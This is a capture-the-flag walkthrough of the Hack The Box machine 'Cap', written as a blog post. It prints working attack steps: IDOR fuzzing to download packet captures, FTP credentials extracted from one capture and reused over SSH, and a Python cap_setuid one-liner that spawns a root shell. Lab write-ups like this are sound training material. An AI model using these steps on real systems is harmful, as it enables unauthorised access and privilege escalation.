HTB: Cap walkthrough

Author: devzspy

_posts/2026-05-13-HTB-Cap.md

@@ -0,0 +1,132 @@
+---
+published: true
+layout: post
+title: "HTB: Cap"
+categories: [hackthebox,htb]
+tags: [htb,hackthebox,easy,retired]
+---
+
+![Cap HTB Logo](../assets/images/caplogo.png)
+
+# Introduction
+
+Cap is an easy-rated Linux machine on Hack The Box that serves as a great introduction to analyzing packet captures and understanding Linux capabilities. The attack path involves discovering an IDOR vulnerability on a security dashboard web application, extracting credentials from a PCAP file, and then abusing a Python capability misconfiguration to escalate to root.
+
+# Enumeration
+
+## Nmap
+
+Starting with a full port scan to identify running services:
+
+```bash
+nmap -sC -sV -p- -v cap.htb
+```
+> Note: Added cap.htb to my `/etc/hosts`
+
+Three ports came back open:
+
+```
+PORT   STATE SERVICE VERSION
+21/tcp open  ftp     vsftpd 3.0.3
+22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
+80/tcp open  http    Gunicorn
+```
+
+FTP (vsftpd 3.0.3), SSH (OpenSSH 8.2p1), and an HTTP server running Gunicorn. Anonymous FTP login was not allowed, and searchsploit didn't return anything useful for this version of vsftpd, so the web application became the primary focus.
+
+## Web Application
+
+Navigating to port 80 revealed a "Security Dashboard" application. The dashboard had several pages including network stats and a page at `/data/<id>` that appeared to provide downloadable PCAP captures. The page at `/data/1` showed the current session's capture, but the ID parameter in the URL stood out as a potential IDOR (Insecure Direct Object Reference).
+
+## IDOR - Enumerating PCAP Files
+
+Using `ffuf` to fuzz the ID parameter confirmed that multiple PCAP files existed:
+
+```bash
+ffuf -w id.txt -u http://cap.htb/data/FUZZ -mc 200
+```
+
+IDs 0 through 7 all returned valid responses. Each one could be downloaded via `/download/<id>`. All of the PCAP files were downloaded in bulk:
+
+```bash
+for i in {0..7}; do
+  wget "http://cap.htb/download/$i"
+done
+```
+
+## Analyzing the PCAPs
+
+Opening the downloaded captures in Wireshark revealed that PCAP `0` was the most interesting -- it was significantly larger than the others and contained FTP traffic. Following the TCP stream for the FTP session exposed plaintext credentials:
+
+- **User:** `nathan`
+- **Password:** `Buck3tH4TF0RM3!`
+
+![FTP Packets](../assets/images/capftp.png)
+
+# Foothold
+
+## SSH Access via Password Reuse
+
+With the credentials recovered from the FTP capture, the next step was to test for password reuse. Since SSH was open, a direct login attempt was made:
+
+```bash
+ssh nathan@cap.htb
+```
+
+The FTP credentials worked for SSH -- password reuse gave us a shell as `nathan`.
+
+## User Flag
+
+The user flag was sitting in nathan's home directory:
+
+```
+nathan@cap:~$ cat ~/user.txt
+c6278..........98a5d5
+```
+
+# Privilege Escalation
+
+## Enumeration with LinPEAS
+
+After running `linpeas.sh` on the target, one finding immediately jumped out -- a Linux capability set on the Python binary:
+
+```
+/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
+```
+
+The `cap_setuid` capability allows a process to set its user ID to any value, including `0` (root). When this capability is assigned to an interpreter like Python, it becomes trivial to escalate privileges.
+
+## Exploiting Python Capabilities
+
+A quick check on [GTFOBins](https://gtfobins.github.io/gtfobins/python/#capabilities) confirmed the exploitation path. With `cap_setuid` set on Python, a one-liner is all it takes:
+
+```bash
+python3 -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'
+```
+
+This sets the UID to 0 (root) and spawns a shell:
+
+```
+# id; whoami
+uid=0(root) gid=1001(nathan) groups=1001(nathan)
+root
+```
+
+## Root Flag
+
+```
+# cat /root/root.txt
+d5e7667.............a8a6
+```
+
+# Summary
+
+| Stage | Technique |
+| --- | --- |
+| Enumeration | Nmap full port scan, web application enumeration |
+| IDOR | Fuzzing `/data/<id>` to find other users' PCAP files |
+| Credential Discovery | Extracting FTP credentials from PCAP 0 via Wireshark |
+| Foothold | SSH login using reused FTP credentials |
+| Privilege Escalation | Abusing `cap_setuid` capability on `/usr/bin/python3.8` |
+
+Cap is a straightforward machine but it reinforces some important fundamentals: always check for IDOR vulnerabilities when you see sequential IDs in URLs, always inspect PCAP files for cleartext credentials, and always enumerate Linux capabilities during privilege escalation. The name "Cap" is a hint in itself -- both the packet **cap**tures and the Linux **cap**abilities are central to solving this box.